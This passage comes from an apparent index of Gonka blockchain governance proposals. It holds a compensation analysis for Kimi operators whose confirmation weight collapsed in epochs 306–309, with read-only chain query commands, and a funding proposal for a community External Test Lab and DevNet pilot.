\"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"6449817683838\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uhqpup9fev3zahlx6n326lp0krznc6usjtx6lu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5784283093297\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5654647873240\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16j7xfk3hvguy5gz95mzg3p5dkuwla7aux03kdw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5614918581345\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1skw86pm4dvfhzslu5a9gsc98ahspalge8rprp4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5546181336564\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1aw77zuy536tufqd56zfq6ev3234u5ftty0zkte\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5545625985548\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d694r00czmq75txghwjcuk07lxvc8d4ekgsha0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5545062683374\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ujg4pt8crhxdymnsatalzdj0hhkgfqjmlp9zel\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5533752395951\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jfv9n2af9y8xgnn6834mnp924vkpucmvchsq8d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5310157560537\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kvmerzu64094dt9t62ea0cp75larh39ulzldum\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3368636073541\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2248987476581\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1706210826186\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"160\"\n }\n]\nconfirmation_weight to be severely suppressed for Kimi operators while non-Kimi operators ran normally. The issue persisted through e307 and carried into the e309 bootstrap attempt. Can it happen again? Reduced risk — the validation infrastructure was reviewed and a guardian node is explicitly designated for Kimi bootstrap support from e311 onward (per proposal #79). Mitigation / fix Proposal #78 (June 25, 2026) removed Kimi from the active model lineup. Proposal #79 (June 26, 2026, expedited) restored Kimi with weight_scale_factor=0.9 and added zai-org/GLM-5.2-FP8. Epoch 311 is the first clean epoch."}, {"location": "proposals/proposals/2026-q3/81/full-proposal/#overview", "title": "Overview", "text": "Starting in epoch 306, moonshotai/Kimi-K2.6 operators experienced a severe confirmation weight collapse. The Kimi cPoC validation path stopped functioning: other network participants could not vote on Kimi cPoC submissions, so nonces accumulated as \"no vote\" weight rather than approved weight. This drove confirm ratios down to near zero for Kimi operators while all non-Kimi operators continued operating normally at 97–125% confirm ratios.
The chain's reward formula uses confirmation_weight as the measure of confirmed work. Operators whose confirmation weight was suppressed received proportionally less than their earned share of epoch rewards.
E305 (the epoch immediately before) is confirmed clean — Kimi operators had normal confirm ratios across the board. The failure began in e306.
Governance proposal #78 (passed June 25, 2026) removed Kimi from the active model lineup while the issue was diagnosed. Proposal #79 (passed June 26, 2026, expedited, 12h voting window) restored Kimi with revised parameters. The first bootstrap attempt under the restored params was epoch 309, in which Kimi operators again experienced partial confirmation weight suppression — the underlying issue had not been fully resolved. Epoch 311 is the first epoch where Kimi operated cleanly.
"}, {"location": "proposals/proposals/2026-q3/81/full-proposal/#epoch-block-heights", "title": "Epoch Block Heights", "text": "Epoch PoC Start Epoch End Notes 305 4,705,610 4,721,400 Clean baseline — all Kimi operators healthy 306 4,721,001 4,736,791 First failure epoch 307 4,736,392 4,752,182 Failure continues — worsens 308 4,751,783 4,767,573 Kimi removed by prop #78 — no compensation 309 4,767,174 4,782,964 Bootstrap attempt — partial failure 310 4,782,565 4,798,355 Zero Kimi commits — no compensation 311 4,797,956 4,813,746 Bootstrap succeeds — cleanReward formula: 323,000 × e^(−0.000475 × (epoch − 1)) GONKA.
confirmation_weight is initialized at epoch start from a fresh ML-node measurement and can only be lowered by subsequent cPoC min-take events. The diagnostic signal is whether conf_w < weight at epoch end — if so, at least one cPoC event drove a penalty for that node. Non-Kimi operators are shown for comparison.
No systematic conf_w suppression concentrated on Kimi operators. Out of scope.
"}, {"location": "proposals/proposals/2026-q3/81/full-proposal/#epoch-306-first-failure", "title": "Epoch 306 — First failure", "text": "All non-Kimi operators: conf_w ≥ weight (no cPoC penalty). Kimi operators with conf_w < weight (penalized by cPoC events):
gonka1jfv9n2af9y8xgnn6834mnp924vkpucmvchsq8d 9,173 0 Kimi only gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw 29,693 4,724 Kimi + other gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5 12,012 2,194 Kimi + other gonka1gvrrhjmy4w4mayvs2s5l23edj8ertcmtd2v4zr 24,062 4,805 Kimi + other gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le 3,885 1,307 Kimi + other gonka168rtjfkszuhcggg4dfyse4yh7xn9zwfglnkns2 11,768 5,916 Kimi + other gonka1gtdrqh9jpkqxdaskxkpwjpy2q284q8qnvg58uj 9,202 4,814 Kimi only gonka125n6kr5gvdup0lndfkps7t6rd6592panhrg3np 24,804 17,394 Kimi only gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p 5,841 4,818 Kimi + other gonka1d694r00czmq75txghwjcuk07lxvc8d4ekgsha0 41,468 36,235 Kimi + other Five additional pure-Kimi nodes had conf_w ≥ weight in e306 — no cPoC penalty was applied to them in this epoch. All five collapse to conf_w = 0 in e307 (see investigation section).
gonka1qa90... had weight = 0 in vw (excluded from the group) — omitted.
Screenshot evidence (CPoC #3, block 4,733,605 — within e306): gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw showed weight=29,693, confirm ratio=20.31%, validation NOT PASSED, with 36.2% \"No vote\" weight — validators were unable to vote on this node's Kimi cPoC submissions.
Screenshot evidence (CPoC #3, block 4,733,605 — within e306): gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw showed weight=29,693, confirm ratio=20.31%, validation NOT PASSED, with 36.2% \"No vote\" weight — validators were unable to vote on this node's Kimi cPoC submissions.
Non-Kimi operators: 97–160% confirm ratios. Kimi operators — near-total collapse:
Address weight conf_w ratio excluded from vwgonka1qa90tgczc0k5dvk4l5nvlf5y6phgm6mg22sfjv — — — Yes (commits=15,072) gonka1uhqpup9fev3zahlx6n326lp0krznc6usjtx6lu — — — Yes (commits=10,720) gonka16j7xfk3hvguy5gz95mzg3p5dkuwla7aux03kdw 8,369 0 0.00% gonka1aw77zuy536tufqd56zfq6ev3234u5ftty0zkte 8,407 0 0.00% gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e 8,309 0 0.00% gonka1gtdrqh9jpkqxdaskxkpwjpy2q284q8qnvg58uj 9,381 0 0.00% gonka1skw86pm4dvfhzslu5a9gsc98ahspalge8rprp4 8,249 0 0.00% gonka1ujg4pt8crhxdymnsatalzdj0hhkgfqjmlp9zel 8,389 0 0.00% gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw 28,873 983 3.40% gonka168rtjfkszuhcggg4dfyse4yh7xn9zwfglnkns2 11,714 1,053 8.99% gonka1gvrrhjmy4w4mayvs2s5l23edj8ertcmtd2v4zr 19,938 4,995 25.05% gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09 11,528 5,579 48.40% gonka125n6kr5gvdup0lndfkps7t6rd6592panhrg3np 16,287 8,908 54.69% gonka1d694r00czmq75txghwjcuk07lxvc8d4ekgsha0 41,105 34,864 84.82% gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p 5,311 4,572 86.09% Three zero-conf operators in e307 with no Kimi commits are excluded from this case: gonka15p7s7... (no commits), gonka1kx9... (MiniMax+Qwen only), gonka1y2a9p5... (MiniMax only) — their failures are independent of the Kimi validation issue.
Non-Kimi operators: 97–100% confirm ratios. Kimi bootstrap operators:
Address weight conf_w ratiogonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5 4,921 0 0.00% gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw 14,011 0 0.00% gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09 9,205 3,789 41.16% gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p 5,925 4,826 81.45% gonka1kvmerzu64094dt9t62ea0cp75larh39ulzldum 64,193 58,810 91.61% The same Kimi-specific suppression pattern is present. All 5 operators are compensated — including gonka1kvmerzu... (91.61%) which received 36,802.80 GONKA actual vs 40,171.44 GONKA correct, resulting in 3,368.64 GONKA owed.
Determine whether on-chain data confirms that the validation failure originated from the guardian node, identify which other nodes shared the same failure mode, and verify that no nodes were missed by the compensation scope.
"}, {"location": "proposals/proposals/2026-q3/81/full-proposal/#findings", "title": "Findings", "text": "Guardian node is itself a Kimi participant. gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5 ran Kimi alongside MiniMax and Qwen (27.8% of its commits were Kimi). Its own confirm ratio collapsed in e306 (0.183) and reached 0 in e307 and e309. This is consistent with a circular failure: the guardian node's Kimi instance degraded, preventing it from producing valid votes on other nodes' Kimi nonces. The guard being both a validator and a Kimi participant means its own weight was suppressed at the same time it lost the ability to validate others. The guardian is included in the compensation scope.
Five pure-Kimi nodes were not penalized in e306 but collapse to zero in e307. confirmation_weight is initialized from a fresh ML-node measurement and lowered only by cPoC min-take. These five nodes ended e306 with conf_w ≥ weight — meaning no cPoC event drove a penalty against their Kimi nonces in e306:
gonka1skw86pm4dvfhzslu5a9gsc98ahspalge8rprp4 8,329 9,052 0 gonka16j7xfk3hvguy5gz95mzg3p5dkuwla7aux03kdw 8,229 8,963 0 gonka1ujg4pt8crhxdymnsatalzdj0hhkgfqjmlp9zel 8,150 9,054 0 gonka1uhqpup9fev3zahlx6n326lp0krznc6usjtx6lu 7,880 9,270 — (excl. from vw) gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e 8,407 9,008 0 All five ran Kimi exclusively. The fact that they escaped e306 unpenalized while other Kimi nodes were heavily suppressed most likely reflects cPoC sub-round assignment — their nonces landed in a validation window where the Kimi path had not yet fully degraded. By e307 the degradation was total and all five show conf_w = 0. This progression confirms a single root cause: the Kimi validation path failed progressively through e306 and reached total collapse in e307.
These five nodes were already included in the e307 compensation scope (as zero-conf Kimi operators). They have no e306 compensation claim since no cPoC penalty was applied to them in that epoch.
Nodes with zero conf_w and no Kimi commits — independent failures. Three nodes in e306 had zero confirmation weight but submitted no Kimi commits:
Address weight models e307 statusgonka17ug06ua2a3hxjuh4punrryl6qzz03sp42u9z9q 1,457 Qwen only not in vw gonka1a3pkge3g33v3zdkq7qmycpjwpulms6ejt8z00f 119 MiniMax only not in vw gonka1u4zxypjgcr8khlzefwjr0vwdaj2uzruw2cehj3 712 Qwen only not in vw These failures are unrelated to the Kimi validation bug. They are excluded from compensation, consistent with the treatment of independent zero-conf operators in previous cases.
Compensation scope is complete. All 10 nodes with Kimi commits and suppressed conf_w in e306 are in the compensation scope. All affected e307 and e309 Kimi nodes are covered. No on-chain evidence of Kimi-affected operators outside the current scope.
"}, {"location": "proposals/proposals/2026-q3/81/full-proposal/#pruning-limitation", "title": "Pruning Limitation", "text": "Detailed per-vote validation records (list-inference-validation-details, poc-validations-for-stage) are pruned by the archive node after 2 epochs (inference_pruning_epoch_threshold: 2). Per-stage conf_w snapshots within e306 are therefore unavailable. The analysis above is based on final epoch-end validation_weights from cached on-chain data, supplemented by the screenshot evidence from cPoC #3 (block 4,733,605) showing \"No vote\" weight suppression in real time.
No delegation penalty compensation is required for any epoch in this case.
In e306 and e307 all affected Kimi operators entered the epoch group (they appear in validation_weights), so their delegators were resolved into ModeDelegate (5% weight transfer to operator) rather than ModeNone (15% penalty). No extra loss was incurred by delegators beyond the normal transfer — verified by querying delegation state for all 38 vw members at the e306 snapshot height (poc_start − 500 = block 4,720,501): 24 addresses held Kimi delegations pointing to operators that entered the epoch, all in ModeDelegate.
The exception would be the 2 operators excluded from e307 vw entirely (gonka1qa90..., gonka1uhq...) — their delegators would have been forced into ModeNone. However, both operators were Kimi-only with no delegators pointing to them in the snapshot (verified on-chain). No delegation compensation is owed.
Delegators' own reward losses are already captured through their own validation_weights entries and the standard compensation formula.
An operator is eligible for compensation if: 1. They submitted Kimi PoC commits in the epoch, and 2. They are in validation_weights with weight > 0 (or excluded from vw entirely but have on-chain commits — applies to 2 operators in e307), and 3. Their confirm ratio was depressed relative to the non-Kimi baseline (operationally: actual_rewards < correct_reward).
Operators with Kimi commits whose confirm ratio was not depressed (≥100%) will produce zero compensation naturally from the formula and are excluded.
For mixed operators (Kimi + other models): the full weight is used as the correct-reward baseline. This compensates for the total reward loss, whether it came from their Kimi work or from their other-model work being dragged down by the Kimi weight component. This is consistent with how the prior case handled operators running multiple models.
The same formula used across all prior restitution cases:
correct_reward = weight / EpochGroupData.total_weight × epoch_reward\ncompensation = max(0, correct_reward − actual_rewards_received)\nFor the 2 operators excluded from validation_weights in e307 (gonka1qa90..., gonka1uhq...): weight is reconstructed from on-chain commit counts × weight_scale_factor.
Weight scale factor for moonshotai/Kimi-K2.6 at e307 poc_start (height 4,736,392): 0.78 (from chain params — v0.2.13 had set this at block 4,267,300).
Proposal #78 removed Kimi and Qwen from PoC params, setting MiniMax as the sole active model. Passed with overwhelming support.
Proposal #79 restored Kimi with weight_scale_factor=0.9 and penalty_start_epoch=310, and added zai-org/GLM-5.2-FP8 with weight_scale_factor=2.47 and penalty_start_epoch=500. Expedited voting (12h) was required so the proposal could conclude before epoch 308 ended, enabling bootstrap into epoch 309. Passed unanimously.
Bootstrap into e309: partial failure (same validation suppression). Bootstrap into e311: succeeded — epoch 311 is the first clean epoch.
"}, {"location": "proposals/proposals/2026-q3/81/full-proposal/#grand-total", "title": "Grand Total", "text": "Epoch Issue Affected Compensation (GONKA) 306 cPoC validation failure 15 53,538.64 307 cPoC validation failure (worsened) 15 99,879.16 309 Bootstrap carry-over 5 21,664.28 TOTAL 19 unique addresses 175,082.07 GONKAPer-address breakdown: aggregate_compensation.json · aggregate_compensation.csv
gonka-kimi-e306/\n├── README.md ← this file\n├── aggregate_compensation.py ← aggregates all epochs into per-address totals\n├── aggregate_compensation.json ← per-address totals (machine-readable)\n├── aggregate_compensation.csv ← per-address totals (spreadsheet)\n├── e306/\n│ ├── calculate_compensation_306.py\n│ ├── compensation_306.csv\n│ └── compensation_306.json\n├── e307/\n│ ├── calculate_compensation_307.py\n│ ├── compensation_307.csv\n│ └── compensation_307.json\n└── e309/\n ├── calculate_compensation_309.py\n ├── compensation_309.csv\n └── compensation_309.json\nRequires the inferenced binary and archive node access. Configure via .env:
ARCHIVE_NODE_URL=http://<archive-node>:26657\nINFERENCED_BINARY=/path/to/inferenced\nThe .env is loaded from ../gonka-segment-report/.env.
python3 e306/calculate_compensation_306.py\npython3 e307/calculate_compensation_307.py\npython3 e309/calculate_compensation_309.py\npython3 aggregate_compensation.py\n# PoC nonce commits for an epoch\ninferenced query inference all-poc-v2-store-commits <poc_start> \\\n --node <ARCHIVE_NODE> --height <epoch_end> -o json\n\n# Epoch group data (validation weights, confirmation weights)\ninferenced query inference show-epoch-group-data <epoch> \\\n --node <ARCHIVE_NODE> --height <epoch_end> -o json\n\n# Per-participant reward summary\ninferenced query inference show-epoch-performance-summary-by-participant \\\n <epoch> <address> --node <ARCHIVE_NODE> -o json\nPassed
Proposal ID: 82
Type: Community Pool Spend, Execute Contract, Instantiate Contract2
Submit: 2026-07-08 11:31 UTC
Voting: 2026-07-08 11:31 UTC → 2026-07-10 11:31 UTC
Proposer: gonka1k6p754pyhxud2399knyccgjpjvdafj2u9xlgyf
Metadata: https://github.com/gonka-ai/gonka/discussions/1388
80,000 GNK · $88,000 · Community PoolView on gonka.gg
4-month pilot of the External Test Lab & Community DevNet: a community-owned testing layer for Gonka. Full proposal and discussion: https://github.com/gonka-ai/gonka/discussions/1388
The budget is held by an immutable escrow contract and released as 4 monthly tranches of 22,000 USDT plus 2x40,000 GNK recognition to the Project and Infrastructure Leads at the end of the pilot. Month 1 is prepaid; each next tranche unlocks 4 days after the month ends. Hosts can always cancel via a one-time governance clawback that returns all remaining funds to the Community Pool.
Contract: code_id 107, checksum 94b141625b7641e6ad57266420b18a4af72eac49b8110cb92719755590b463bd, escrow address gonka1g57f45qjvn0529vpgj8x8mzt8r5k4audchm3pp9pezywxwf4rexqlj8ayw. No admin, no migration - recipients and amounts can never change. Source and verification: https://github.com/paranjko/testlab-devnet-escrow/tree/1b2e529876141816b5c2130840d04fb93694bf72
"}, {"location": "proposals/proposals/2026-q3/82/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q3/82/#external-test-lab-community-devnet", "title": "External Test Lab & Community DevNet", "text": "4-month pilot proposal for community-owned testing infrastructure and QA capacity
"}, {"location": "proposals/proposals/2026-q3/82/#1-executive-summary", "title": "1. Executive Summary", "text": "This proposal requests funding for a 4-month pilot of External Test Lab & Community DevNet: a community-owned testing function for Gonka protocol upgrades, DevShards, inference flows, host/broker operations, and geographically distributed network behavior before governance decisions and production rollout.
Item Proposal Pilot duration 4 months Requested budget Up to 22,000 USDT per month, plus a one-time 80,000 GNK end-of-pilot recognition payment. Funding model Monthly tranches: Month 1 prepaid, Months 2–4 released after previous-month deliverables are accepted Main deliverables Community DevNet, external testing team, public reports, test plans, runbooks and issue tracker Ownership Community-owned infrastructure and open operational artifacts, with clear handoff plan Security handling Public-by-default reporting, with private disclosure for security-sensitive findings before remediation"}, {"location": "proposals/proposals/2026-q3/82/#2-problem-statement", "title": "2. Problem Statement", "text": "Today, Gonka lacks a dedicated community-owned validation layer for important network changes. The External Test Lab and Community DevNet are proposed to close this gap by providing practical testing capacity, shared infrastructure, and public evidence before releases, governance decisions, or production rollout.
The External Test Lab and Community DevNet will:
Validate protocol upgrades, DevShard releases, broker/inference flows, integrations, and other critical network changes before they move forward.
Test distributed-network behavior that is hard to verify in local or internal environments, including latency, synchronization, propagation, and regional instability.
Use available testing capacity for proactive bug hunting, regression checks, and investigation of known weak points when no release candidate is waiting for validation.
Provide a neutral testing path for work delivered by external teams and ecosystem contributors before it is accepted, funded further, or used in production.
Help validate vulnerability reports from researchers, audits, or programs such as HackerOne through reproduction, impact assessment, regression testing, and confirmation after remediation.
Provide a shared environment where trusted hosts and teams can safely test proposals, integrations, DevShard scenarios, protocol behavior, and early implementation ideas.
Produce clearer testing evidence for governance participants, including test plans, dashboards, runbooks, issue trackers, defect reports, security-sensitive disclosure handling, and release-readiness summaries.
This adds a missing validation layer for the Gonka ecosystem while complementing Core Team testing.
"}, {"location": "proposals/proposals/2026-q3/82/#3-roadmap-alignment", "title": "3. Roadmap Alignment", "text": "This proposal directly implements two projects from the Gonka Network Development Roadmap.
Track 4. Network reliability and observability — Project 2. External testing lab The roadmap defines an external testing lab for Gonka changes before broad rollout, including changes from Protocol Maintainers, funded external teams, and ecosystem contributors.
This proposal implements that project through the External Testing Team, test plans, smoke and regression checks, defect reports, public issue tracking, and release-readiness reports.
Track 7. Public sandbox and consumer-GPU testnet — Project 1. Public testing sandbox The roadmap defines a separate test environment for experiments with models, parameters, integrations, DevShard scenarios, protocol-level behavior, validation, settlement, and upgrade testing before mainnet.
This proposal implements that project through Community DevNet: a small, always-on, geographically distributed network for protocol, node, DevShard, operational, integration, and distributed-behavior testing.
"}, {"location": "proposals/proposals/2026-q3/82/#4-what-we-are-building", "title": "4. What We Are Building", "text": "The project has three connected components.
Component Purpose Main output Community DevNet Small always-on geographically distributed network for protocol, node, DevShard, and operational testing. 9–13 inference nodes, monitoring dashboard, deployment runbook Burst GPU Testing Budget Temporary rental of large GPU infrastructure when heavy model or load testing is needed. Monthly rental allowance, test logs, benchmarks, and cost report External Testing Team Two hands-on QA / infrastructure testing engineers to validate pre-release builds, DevShards, and deliverables from external teams. Test plans, smoke/regression checks, defect reports, readiness reports"}, {"location": "proposals/proposals/2026-q3/82/#5-community-devnet-infrastructure", "title": "5. Community DevNet Infrastructure", "text": "Target size: 9–13 always-on inference machines plus required network nodes, where feasible within the monthly DevNet infrastructure cap.
Topology: part of the DevNet runs as Network Nodes with multiple attached MLNodes, so that realistic multi-MLNode host configurations can be reproduced and tested.
Indicative distribution: North America East, North America West, United Kingdom, Germany, France, Finland, and Asian locations depending on network quality and hosting availability.
Model profile: DevNet inference nodes are expected to run lightweight instruct models, such as Qwen/Qwen3-0.6B, or equivalent models.
Inference nodes: NVIDIA GPU machines with 16 GB VRAM, compatible with the project’s CUDA 13.0 container/runtime stack.
Goal: protocol and distributed behavior testing.
Monitoring: public dashboard for node availability.
Operations: infrastructure lead from the host/DevOps community responsible for provisioning, monitoring, and maintenance.
Public access. The DevNet is intended to serve the broader community, not only the testing team. During the pilot, access for external participants is granted through a lightweight request process — primarily to manage abuse, access control, and node stability while monitoring and onboarding documentation are still being built. Intended external use cases include:
hosts rehearsing onboarding and node operations before joining mainnet;
developers and users experimenting with inference, smart contracts, and integrations outside the QA team's test plan.
Broader participation is the target state: we intend to move to fully permissionless access as soon as safety, abuse limits, onboarding documentation, and monitoring allow it.
"}, {"location": "proposals/proposals/2026-q3/82/#6-burst-gpu-testing-budget", "title": "6. Burst GPU Testing Budget", "text": "Used only when needed for release candidates, large model tests, load tests, and model compatibility checks.
Planning assumption: Up to one calendar week (168 hours) of rental per month.
For Kimi-class testing, the requirement estimate assumes an ML Node with either 4× NVIDIA B200 or 8× NVIDIA H200, around 640 GB total GPU VRAM, 960 GB+ system RAM, 16-core amd64 CPU, and a Network Node host with 16-core CPU, 64 GB+ RAM, 1 TB NVMe, and at least 100 Mbps networking.
Access and accountability. Burst GPU capacity is provisioned and coordinated by the External Testing Team together with the project owners, primarily for release-candidate validation, model compatibility, and load tests. Requests from Protocol Maintainers and ecosystem teams are accommodated where capacity allows. All burst usage is itemized in the monthly public report: purpose, hours used, and cost per test run, with test logs published alongside.
"}, {"location": "proposals/proposals/2026-q3/82/#7-external-testing-team", "title": "7. External Testing Team", "text": "The proposal funds two external QA / Infrastructure Testing Engineers.
Scope of work
Contribute to quality standards and test strategy for the network
Define acceptance criteria and test plans for core network lifecycle events and components
Build pre-release validation frameworks, including smoke checks and regression coverage for known failure patterns
Deploy and verify distributed node and service stacks in production-like environments
Validate critical cross-system flows end to end, with documented evidence and clear defect escalation — e.g. participant and key flows, inference and proof-of-compute participation, gateway and proxy behavior
Use health signals, chain queries, and logs as primary validation inputs, not just debugging aids
Verify upgrade readiness, rollback feasibility, and post-change health across the stack
Establish, tune, and document practical operational primitives, such as PoC validation threshold and inference validation threshold settings, based on DevNet experience, and contribute these findings directly to the official Gonka documentation where appropriate.
Support DevNet validation and release-readiness assessment before production rollouts
Validate recovery and incident resolution through root-cause analysis and re-testing
Report defects with clear reproduction steps, impact assessment, and release-blocking status
Track and communicate quality metrics that reflect network health and operational reliability
Required capabilities
3+ years in system QA / Test Engineering, SDET, or quality-focused DevOps/SRE
Understanding of blockchain lifecycle, key and auth flows: registration, delegated permissions, fee grants
Experience in operation and validation of blockchain nodes (Cosmos SDK preferred): sync, recovery, RPC queries, network phase behavior
Experience validating distributed systems in production-like environments
Strong test design: test plans, acceptance criteria, smoke/regression/e2e, edge cases, negative testing
Solid Linux, SSH, shell scripting, and log-based verification
Docker & container orchestration - including environment and config reload behavior
Clear defect reporting and documentation — runbooks, test results, sign-off checklists
Comfort with time-boxed validation before critical network events
SDET experience: scripted validation, CI pipelines, automated health checks
Blockchain / Web3 QA: testnet operations, bridge testing, wallet/key flows, upgrade regression
Cross-chain testing: EVM testnet validation, withdrawal flows, contract interaction
GPU/ML inference testing: worker health, model serving, artifact delivery
Experience with coordinated multi-node upgrades
API gateway and proxy testing (failures, latency, request tracing)
Decentralized inference or Proof of Compute networks
Public dashboard for DevNet health and node status.
Public task board for planned, active, and completed testing work.
Public issue tracker for non-sensitive bugs, regressions, and operational findings.
Monthly public report with deliverables, incidents, spending by budget line, remaining balance, unused funds, and next-month plan.
Per-release readiness report before governance vote or production rollout when a release candidate is provided in time.
Security-sensitive findings are reported privately to Core Team first; a public placeholder issue is created where appropriate, and details are disclosed after remediation or agreed disclosure window.
The External Test Lab is intended to work in coordination with Protocol Maintainers while remaining an external community testing function.
Protocol Maintainers are expected to support initial onboarding by providing technical context, relevant documentation, general guidance, scripts and notes, expected test focus, and clarification of protocol-specific behavior where needed.
This coordination helps the testing team become productive faster and reduces the risk of misinterpreting expected network behavior. At the same time, validation reports remain independently prepared by the External Test Lab and are published for the community.
Where a governance vote or production rollout is scheduled and testable artifacts are provided in time, the External Test Lab publishes a readiness report covering tested areas, pass/fail results, known risks, and recommendations.
If testable artifacts are provided late or incomplete, the External Test Lab may still perform limited validation, but the report will clearly state the reduced scope, time constraints, and known limitations.
"}, {"location": "proposals/proposals/2026-q3/82/#12-milestones-and-acceptance-criteria", "title": "12. Milestones and Acceptance Criteria", "text": ""}, {"location": "proposals/proposals/2026-q3/82/#workstream-a-devnet-infrastructure", "title": "Workstream A: DevNet Infrastructure", "text": "Milestone Timing Milestone result Public artifacts Payment gate M1: Setup Month 1 DevNet design agreed, infrastructure procurement started, at least 5 nodes online; infrastructure blockers documented if any. DevNet architecture note; initial status dashboard (live link); draft node deployment runbook. Month 2 funding requires M1 report and acceptance. M2: Full DevNet operational Month 2 At least 9 nodes online across target regions; monitoring in place. Published node deployment runbook sufficient to reproduce a DevNet node; public dashboard showing all nodes; regional layout summary. Month 3 funding requires M2 report and acceptance. M3: Stable DevNet operation Month 3 DevNet running stably; operational issues identified and addressed. Updated runbook; incident log for the month; onboarding guide for external DevNet participants, interim infrastructure cost report. Month 4 funding requires M3 report and acceptance. M4: Pilot completion and reporting Month 4 Pilot infrastructure work concluded; continuation or handoff recommendation prepared. Final infrastructure and cost report; lessons learned; handoff package. No automatic continuation; new vote required."}, {"location": "proposals/proposals/2026-q3/82/#workstream-b-external-testing-lab", "title": "Workstream B: External Testing Lab", "text": "Milestone Timing Milestone result Public artifacts Payment gate M1: Testing lab setup and QA onboarding Month 1 QA contractors search and selection, onboarding plan, testing lab operating model, initial test strategy. Initial test strategy document; hiring status in the monthly report. Month 2 funding requires M1 report and acceptance. M2: Testing capability launch Month 2 At least one QA engineer onboarded and executing tests; second onboarded or in final hiring stage. Public task board (live link); public catalogue of test scenarios: smoke checklist and regression checklist; live issue tracker. Month 3 funding requires M2 report and acceptance. M3: Repeated validation and process stabilization Month 3 Repeatable validation process in place; validation performed where testable inputs were provided. Open repository with initial test automation scripts (smoke-level checks); updated checklists; validation or status reports for the month. Month 4 funding requires M3 report and acceptance. M4: Pilot completion and reporting Month 4 Validation work concluded; lab processes documented for handoff. Final validation reports; defect summary; lessons learned. No automatic continuation; new vote required."}, {"location": "proposals/proposals/2026-q3/82/#13-kpis", "title": "13. KPIs", "text": "KPI Target Verification method DevNet availability ≥95% monthly availability for stable nodes after full deployment Public dashboard and monthly uptime summary Release validation coverage 100% of provided release candidates reviewed within the agreed time window, where provided with sufficient lead time and required handoff materials. Public release-readiness reports DevShard validation coverage 100% of provided DevShard candidates reviewed within the agreed time window, where provided with sufficient lead time and required handoff materials. Public DevShard reports Public reporting Monthly public report covering deliverables, incidents, spending by budget line, remaining balance, unused funds, and next-month plan. Public document Issue quality All defects include reproduction steps, expected vs actual behavior, impact, and severity Public issue tracker / private security tracker where needed Handoff readiness Runbooks and lessons learned documented by end of pilot Published operational documentation"}, {"location": "proposals/proposals/2026-q3/82/#14-budget-estimate", "title": "14. Budget Estimate", "text": "This is a planning estimate for a 4-month pilot. Unused burst GPU rental budget may roll over within the pilot; any unused funds at the end of the pilot will be returned to the Community Pool.
Budget line Assumption Monthly estimate 4-month estimate Notes Community DevNet machines * 9–13 inference nodes plus required Network Node services capped at \\$5,000/month as a blended planning average. \\$20,000 GPU-class node, CPU/RAM/storage/network/region premium included as planning average. Burst GPU rental ** Up to one calendar week (168 hours) per month of high-end GPU capacity capped at \\$6,500/month \\$26,000 For H200/B200-class testing, load tests, model compatibility, release candidates. Operational tooling and reporting services Shared monitoring and operational tools \\$250 \\$1,000 Domains/DNS, lightweight monitoring, uptime checks, reporting tools, access management, and small cloud services where needed. External Testing Engineers 2 QA engineers × \\$4,000/month \\$8,000 \\$32,000 Hands-on QA / infrastructure testing, reports, defect tracking. Subtotal \\$19,750 \\$79,000 Contingency reserve \\$2,250 \\$9,000 Used only if needed. Total requested authorization 22,000 USDT 88,000 USDT Cap for 4-month pilot.Any unused funds will be returned to the Community Pool at the end of the pilot.
* The cap above raw GPU-hour pricing covers reserved or non-interruptible instances required for always-on operation, regional price premiums outside low-cost US marketplaces, CPU-only Network Node hosts for the multi-MLNode topology, storage and egress, and temporary node duplication during upgrade and failover testing. It is a cap, not a spend target: actual spending will be itemized monthly, and unused funds will be returned to the Community Pool at the end of the pilot.
